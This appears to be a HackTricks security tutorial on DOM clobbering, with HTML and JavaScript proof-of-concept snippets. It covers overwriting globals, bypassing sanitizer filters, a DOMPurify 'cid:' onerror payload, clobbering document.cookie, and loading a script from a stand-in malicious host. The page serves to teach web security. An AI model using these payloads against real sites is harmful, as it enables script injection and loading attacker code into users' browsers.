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256 lines
12 KiB
Markdown
256 lines
12 KiB
Markdown
# Dom Clobbering
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## **Basics**
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It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.
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```html
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<form id=x></form>
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<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
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```
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**Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.
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Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:
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```html
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<a href="controlled string" id=x></a>
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<script>
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console.log(x);//controlled string
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</script>
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```
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### Arrays & Attributes
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It's also possible to **clobber an array** and **object attributes**:
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```html
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<a id=x>
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<a id=x name=y href=controlled>
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<script>
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console.log(x[1])//controlled
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console.log(x.y)//controlled
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</script>
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```
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To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:
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```html
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<form id=x name=y><input id=z value=controlled></form>
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<form id=x></form>
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<script>
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alert(x.y.z.value)//controlled
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</script>
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```
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Clobbering more attributes is **more complicated but still possible**, using iframes:
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```html
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<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
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<style>@import 'https://google.com';</style>
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<script>alert(x.y)//controlled</script>
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```
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{% hint style="warning" %}
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The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
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{% endhint %}
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To clobber deeper attributes, you can use **iframes with html encoding** this way:
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```html
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<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
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<style>@import 'https://google.com';</style>
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<script>
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alert(a.b.c.d.e)//controlled
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</script>
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```
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### **Filter Bypassing**
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If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.
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```html
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<form id=x></form>
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<form id=y>
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<input name=nodeName>
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</form>
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<script>
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console.log(document.getElementById('x').nodeName)//FORM
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console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
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</script>
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```
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## **Clobbering `window.someObject`**
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In JavaScript it's common to find:
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```javascript
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var someObject = window.someObject || {};
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```
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Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
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```html
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<a id=someObject href=//malicious-website.com/malicious.js></a>
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```
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In a vulnerable code such as:
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```html
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<script>
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window.onload = function(){
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let someObject = window.someObject || {};
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let script = document.createElement('script');
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script.src = someObject.url;
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document.body.appendChild(script);
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};
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</script>
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```
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This method exploits the script source to execute unwanted code.
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**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
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Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.
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You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
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## Clobbering document object
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According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
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> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
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>
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> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
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> \
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> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
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> \
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> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
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Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
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```javascript
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document.write("<img name=cookie />")
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document.cookie
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<img name="cookie">
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typeof(document.cookie)
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'object'
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//Something more sanitize friendly than a img tag
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document.write("<form name=cookie><input id=toString></form>")
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document.cookie
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HTMLCollection(2) [img, form, cookie: img]
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typeof(document.cookie)
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'object
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```
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## Writing after the element clobbered
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The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:
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```html
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<div style="display:none" id="cdnDomain" class="x">test</div>
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<p>
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<html id="cdnDomain" class="x">clobbered</html>
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<script>
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alert(document.getElementById('cdnDomain').innerText); // Clobbered
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alert(document.querySelector('.x').innerText); // Clobbered
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</script>
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```
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Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:
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```html
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<div style="display:none" id="cdnDomain">test</div>
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<p>existing text</p>
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<html id="cdnDomain">clobbered</html>
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<style>
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p{display:none;}
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</style>
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<script>
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alert(document.getElementById('cdnDomain').innerText); // Clobbered
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</script>
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```
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Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:
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```html
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<div style="display:none" id="cdnDomain">example.com</div>
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<svg><body id="cdnDomain">clobbered</body></svg>
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<script>
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alert(document.getElementById('cdnDomain').innerText); // Clobbered
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</script>
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```
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For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary:
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```html
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<div style="display:none" id="cdnDomain">example.com</div>
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<svg>
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<foreignobject>
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<html id="cdnDomain">clobbered</html>
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</foreignobject>
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</svg>
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<script>
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alert(document.getElementById('cdnDomain').innerText); // Clobbered
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</script>
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```
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## Clobbering Forms
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It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):
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{% code overflow="wrap" %}
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```html
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<!--Add a new attribute and a new button to send-->
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<textarea form=id-other-form name=info>
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";alert(1);//
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</textarea>
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<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
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Click to send!
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</button>
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```
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{% endcode %}
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* For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
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## References
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* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
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* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
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* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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||
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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